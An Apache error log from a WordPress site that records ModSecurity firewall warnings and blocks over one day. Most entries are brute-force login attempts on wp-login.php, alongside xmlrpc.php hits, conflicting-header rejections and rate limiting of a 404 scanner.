[Sat Nov 15 09:06:31.103842 2025] [:error] [pid 27910:tid 27945] [client 188.213.202.125:60887] [client 188.213.202.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.125, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfSF46e1LusHMYkS7aSvwAAAEQ"]
[Sat Nov 15 09:06:31.104866 2025] [:error] [pid 27909:tid 27932] [client 188.213.202.159:40207] [client 188.213.202.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfSFyTfZ6B57n8HepXJTQAAABM"]
[Sat Nov 15 09:32:09.047512 2025] [:error] [pid 22613:tid 22635] [client 188.213.202.128:65253] [client 188.213.202.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfYGSoyR3cDsIRGPRldmgAAAhQ"]
[Sat Nov 15 09:32:09.047515 2025] [:error] [pid 20346:tid 20360] [client 188.213.202.109:39135] [client 188.213.202.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.109, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfYGZ7hsydZdIoVTlui0gAAAws"]
[Sat Nov 15 09:36:21.595642 2025] [:error] [pid 22765:tid 22780] [client 188.34.143.143:42798] [client 188.34.143.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.34.143.143, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRfZFabrQzjuZmPIWDZ-wgAAAoo"]
[Sat Nov 15 09:56:51.332648 2025] [:error] [pid 27997:tid 28011] [client 188.213.202.115:28007] [client 188.213.202.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfd49pja_6cDxKbxFl0DAAAAMw"]
[Sat Nov 15 09:56:51.333129 2025] [:error] [pid 27911:tid 27968] [client 188.213.202.106:34559] [client 188.213.202.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfd48GzUdrhGBIfiKQPDAAAAIA"]
[Sat Nov 15 10:21:48.611394 2025] [:error] [pid 22613:tid 22638] [client 188.213.202.123:36321] [client 188.213.202.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfjvCoyR3cDsIRGPRln-AAAAhc"]
[Sat Nov 15 10:21:48.624369 2025] [:error] [pid 22765:tid 22788] [client 188.213.202.117:22983] [client 188.213.202.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfjvKbrQzjuZmPIWDaJFQAAApI"]
[Sat Nov 15 10:22:55.861687 2025] [proxy_fcgi:error] [pid 27911:tid 27980] (70007)The timeout specified has expired: [client 51.81.107.180:59864] AH01075: Error dispatching request to : (polling)
[Sat Nov 15 10:48:22.682026 2025] [:error] [pid 20346:tid 20366] [client 188.213.202.116:37063] [client 188.213.202.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfp9p7hsydZdIoVTlu5IwAAAxE"]
[Sat Nov 15 10:48:22.682150 2025] [:error] [pid 22613:tid 22635] [client 188.213.202.106:39445] [client 188.213.202.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfp9ioyR3cDsIRGPRlt1gAAAhQ"]
[Sat Nov 15 11:14:33.480771 2025] [:error] [pid 19961:tid 20000] [client 188.213.202.110:40785] [client 188.213.202.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfwGTar7Si-84EApVQtqgAAAcc"]
[Sat Nov 15 11:14:33.480854 2025] [:error] [pid 22765:tid 22775] [client 188.213.202.110:39859] [client 188.213.202.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRfwGabrQzjuZmPIWDaUswAAAoU"]
[Sat Nov 15 11:21:55.505106 2025] [:error] [pid 19961:tid 20012] [client 43.155.129.131:37002] [client 43.155.129.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aRfx0zar7Si-84EApVQuwQAAAdM"]
[Sat Nov 15 11:33:14.867187 2025] [:error] [pid 22765:tid 22788] [client 213.231.4.64:36170] [client 213.231.4.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.231.4.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRf0eqbrQzjuZmPIWDaYRQAAApI"]
[Sat Nov 15 11:40:06.924819 2025] [:error] [pid 22613:tid 22628] [client 188.213.202.115:57911] [client 188.213.202.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRf2FioyR3cDsIRGPRl3hgAAAg0"]
[Sat Nov 15 11:40:06.925012 2025] [:error] [pid 22613:tid 22626] [client 188.213.202.145:61981] [client 188.213.202.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.145, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRf2FioyR3cDsIRGPRl3hwAAAgs"]
[Sat Nov 15 12:05:34.771232 2025] [:error] [pid 20346:tid 20372] [client 188.213.202.140:39049] [client 188.213.202.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.140, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRf8Dp7hsydZdIoVTlvMHwAAAxc"]
[Sat Nov 15 12:05:34.771371 2025] [:error] [pid 22765:tid 22791] [client 188.213.202.112:21655] [client 188.213.202.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRf8DqbrQzjuZmPIWDaeYwAAApU"]
[Sat Nov 15 12:09:26.060802 2025] [:error] [pid 19959:tid 19975] [client 138.197.23.42:64519] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRf89sjejiTUP1-IawOACAAAAYk"]
[Sat Nov 15 12:09:26.480259 2025] [:error] [pid 20654:tid 20658] [client 138.197.23.42:64681] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRf89ncS7eC8vO76_ydtgAAAA4E"]
[Sat Nov 15 12:09:26.896632 2025] [:error] [pid 20654:tid 20660] [client 138.197.23.42:64829] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRf89ncS7eC8vO76_ydtmAAAA4M"]
[Sat Nov 15 12:09:27.318231 2025] [:error] [pid 22613:tid 22619] [client 138.197.23.42:64981] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRf89yoyR3cDsIRGPRl8aAAAAgQ"]
[Sat Nov 15 12:09:27.746321 2025] [:error] [pid 22613:tid 22623] [client 138.197.23.42:65157] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRf89yoyR3cDsIRGPRl8gAAAAgg"]
[Sat Nov 15 12:30:35.265066 2025] [:error] [pid 20313:tid 20335] [client 188.213.202.107:62849] [client 188.213.202.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRgB6xI9DXIgPadBLUZVRwAAAtM"]
[Sat Nov 15 12:30:35.265075 2025] [:error] [pid 20346:tid 20372] [client 188.213.202.112:40567] [client 188.213.202.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRgB657hsydZdIoVTlvSwwAAAxc"]
[Sat Nov 15 12:56:33.607275 2025] [:error] [pid 20654:tid 20681] [client 188.213.202.125:22775] [client 188.213.202.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.125, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRgIAXcS7eC8vO76_yd9HAAAA5g"]
[Sat Nov 15 12:56:33.607660 2025] [:error] [pid 22765:tid 22771] [client 188.213.202.159:60509] [client 188.213.202.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRgIAabrQzjuZmPIWDaojQAAAoM"]
[Sat Nov 15 13:22:32.025996 2025] [:error] [pid 27997:tid 28023] [client 188.213.202.132:22711] [client 188.213.202.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRgOGNpja_6cDxKbxFmdwAAAANg"]
[Sat Nov 15 13:22:32.028749 2025] [:error] [pid 20346:tid 20373] [client 188.213.202.120:50173] [client 188.213.202.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRgOGJ7hsydZdIoVTlvhuwAAAxg"]
[Sat Nov 15 13:54:35.788710 2025] [:error] [pid 19959:tid 19979] [client 188.213.202.159:54163] [client 188.213.202.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.159, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRgVm8jejiTUP1-IawOZnQAAAY0"]
[Sat Nov 15 13:54:35.788913 2025] [:error] [pid 20654:tid 20667] [client 188.213.202.115:38819] [client 188.213.202.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRgVm3cS7eC8vO76_yeQ5gAAA4o"]
[Sat Nov 15 14:18:47.887882 2025] [:error] [pid 19961:tid 20009] [client 188.213.202.153:50881] [client 188.213.202.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.153, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRgbRzar7Si-84EApVRLXwAAAdA"]
[Sat Nov 15 14:18:47.888060 2025] [:error] [pid 27997:tid 28019] [client 188.213.202.123:61427] [client 188.213.202.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRgbR9pja_6cDxKbxFmoFQAAANQ"]
[Sat Nov 15 14:44:20.521703 2025] [:error] [pid 20654:tid 20670] [client 188.213.202.109:29501] [client 188.213.202.109] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.109, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRghRHcS7eC8vO76_yejKwAAA40"]
[Sat Nov 15 14:44:20.579811 2025] [:error] [pid 22613:tid 22625] [client 188.213.202.115:28719] [client 188.213.202.115] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.115, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRghRCoyR3cDsIRGPRmZKAAAAgo"]
[Sat Nov 15 15:10:09.488237 2025] [:error] [pid 19959:tid 19971] [client 188.213.202.152:28289] [client 188.213.202.152] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.152, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRgnUcjejiTUP1-IawOrPwAAAYU"]
[Sat Nov 15 15:10:09.489631 2025] [:error] [pid 27909:tid 27936] [client 188.213.202.106:35715] [client 188.213.202.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRgnUSTfZ6B57n8HepULgwAAABc"]
[Sat Nov 15 15:23:37.164598 2025] [:error] [pid 27911:tid 27975] [client 85.128.143.131:41898] [client 85.128.143.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.131, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRgqecGzUdrhGBIfiKRFVgAAAIc"]
[Sat Nov 15 15:36:37.882875 2025] [:error] [pid 22765:tid 22771] [client 188.213.202.116:56335] [client 188.213.202.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRgthabrQzjuZmPIWDbIXgAAAoM"]
[Sat Nov 15 15:36:37.884111 2025] [:error] [pid 20654:tid 20673] [client 188.213.202.108:50543] [client 188.213.202.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRgthXcS7eC8vO76_yezEwAAA5A"]
[Sat Nov 15 16:03:27.868023 2025] [:error] [pid 20346:tid 20369] [client 188.213.202.142:29813] [client 188.213.202.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.142, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRgzz57hsydZdIoVTlsMjwAAAxQ"]
[Sat Nov 15 16:03:27.869020 2025] [:error] [pid 20654:tid 20675] [client 188.213.202.156:63839] [client 188.213.202.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.156, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRgzz3cS7eC8vO76_ye7BQAAA5I"]
[Sat Nov 15 16:29:51.672965 2025] [:error] [pid 27997:tid 28000] [client 188.213.202.137:64303] [client 188.213.202.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRg5_9pja_6cDxKbxFm_vwAAAME"]
[Sat Nov 15 16:29:51.673795 2025] [:error] [pid 27911:tid 27975] [client 188.213.202.117:60307] [client 188.213.202.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRg5_8GzUdrhGBIfiKRPkAAAAIc"]
[Sat Nov 15 16:55:44.564026 2025] [:error] [pid 22765:tid 22784] [client 188.213.202.158:47415] [client 188.213.202.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.158, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRhAEKbrQzjuZmPIWDbXEwAAAo4"]
[Sat Nov 15 16:55:44.564088 2025] [:error] [pid 27911:tid 27971] [client 188.213.202.144:40273] [client 188.213.202.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRhAEMGzUdrhGBIfiKRUowAAAIM"]
[Sat Nov 15 17:16:39.691610 2025] [:error] [pid 20654:tid 20658] [client 188.34.143.143:50698] [client 188.34.143.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.34.143.143, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRhE93cS7eC8vO76_yfRNQAAA4E"]
[Sat Nov 15 17:16:41.551654 2025] [:error] [pid 20654:tid 20673] [client 188.34.143.143:50698] [client 188.34.143.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.34.143.143, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRhE-XcS7eC8vO76_yfRPgAAA5A"], referer: https://gigfragments.org/wp-login.php
[Sat Nov 15 17:21:47.539613 2025] [:error] [pid 22765:tid 22794] [client 188.213.202.149:22871] [client 188.213.202.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRhGK6brQzjuZmPIWDbdYAAAApg"]
[Sat Nov 15 17:21:47.539667 2025] [:error] [pid 27909:tid 27914] [client 188.213.202.128:29529] [client 188.213.202.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.213.202.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRhGKyTfZ6B57n8HepUgewAAAAE"]
[Sat Nov 15 17:35:04.250265 2025] [:error] [pid 20313:tid 20339] [client 139.185.49.52:41420] [client 139.185.49.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.185.49.52, incrementing brute counter"] [hostname "www.gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRhJSBI9DXIgPadBLUaEdgAAAtc"]
[Sat Nov 15 19:29:23.476891 2025] [:error] [pid 27909:tid 27927] [client 162.0.217.222:54732] [client 162.0.217.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.217.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRhkEyTfZ6B57n8HepU3mwAAAA4"]
[Sat Nov 15 19:29:25.335613 2025] [:error] [pid 27909:tid 27917] [client 162.0.217.222:54732] [client 162.0.217.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.217.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRhkFSTfZ6B57n8HepU3nAAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Sat Nov 15 19:42:30.042419 2025] [:error] [pid 27909:tid 27918] [client 203.33.203.148:59776] [client 203.33.203.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aRhnJiTfZ6B57n8HepU4sAAAAAU"]
[Sat Nov 15 20:10:34.891686 2025] [:error] [pid 19959:tid 19981] [client 81.88.52.56:37534] [client 81.88.52.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.88.52.56, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRhtusjejiTUP1-IawPrgwAAAY8"]
[Sat Nov 15 20:10:37.159720 2025] [:error] [pid 19959:tid 19974] [client 81.88.52.56:44076] [client 81.88.52.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 81.88.52.56, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRhtvcjejiTUP1-IawPrhwAAAYg"], referer: http://gigfragments.org/wp-login.php
